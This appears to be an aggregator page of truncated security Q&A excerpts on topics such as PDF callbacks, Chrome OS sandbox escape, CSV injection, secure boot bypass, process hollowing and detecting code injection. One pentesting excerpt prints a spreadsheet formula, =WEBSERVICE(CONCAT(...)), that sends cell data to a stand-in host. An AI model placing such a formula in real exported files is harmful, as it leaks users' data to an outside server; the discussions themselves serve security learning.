Collaborate Disseminate
I am working on a POC where i need to show impact of opening untrusted PDF file. I just need to demonstrate security issue on opening the PDF file.
I only need to send request to the server. User will be downloading the PDF file from the… Continue reading Send Request To Server From PDF File [closed]
Recently I’ve been trying to escape sandbox Chrome OS for fun, bounties, etc. I found you can run straight system commands through chrome:// urls (such as displaying USB Detected message, or something). However, Google is notoriously good … Continue reading Run your own code on chrome:// url?
I’m currently pentesting a web application on which a user can generate a CSV. I managed to exfiltrate data via CSV injection using a payload such as:
=WEBSERVICE(CONCAT(“http://example.com/”, CONCAT(A1:A50))
I am now trying to create a… Continue reading Does "=cmd" CSV injection still exist in 2020?
Are injection vulnerabilities mainly a design or an implementation problem? I’m using SQL injection as an example; I’m interested in other injection vulnerabilities as well.
I believe that it is the direct consequence of lazy programming,… Continue reading Are injection vulnerabilities a design or an implementation flaw?
To bypass a secure boot for System on Chip (SoC), some attacks target the phase of copying the bootloader from where it is stored to the main memory. Instead, a malicious code will be copied to the main memory. In that case, the bootloader… Continue reading Bypassing Secure Boot in System on Chip
is there any way to detect code injection in a running process under linux ?
For code injection I don’t mean “patching” original binary on the disk, for code injection I mean when for example you inject a shellcode on a running binary by a… Continue reading How to detect code injection on linux
If anyone can point to an open source website where I can try out NOSQL injection attacks, I would greatly appreciate it. Thanks
Continue reading Is there a website vulnerable to NOSQL injection similar to DVWA? [closed]
When it’s time to write the malicious image inside the hollowed process, apparently the goal is to allocate memory exactly at the image base address of the hollowed process. Why? Why not allocate memory according to the malicious image ba… Continue reading Questions about process hollowing
This is my first post so I am really sorry for my English and may not logical sentences, if something not clear write it I will explain it. 🙂
Few months ago I started notices strange different ads in Facebook (all of them were saying you… Continue reading FB ads with script injectors [closed]
When looking at entitlements on pycharm CE for macOS, it shows many serious security exceptions. Here are its entitlements:
<dict>
<key>com.apple.security.cs.allow-jit</key>
<true/>
… Continue reading Why does pycharm uses lax security on macOS?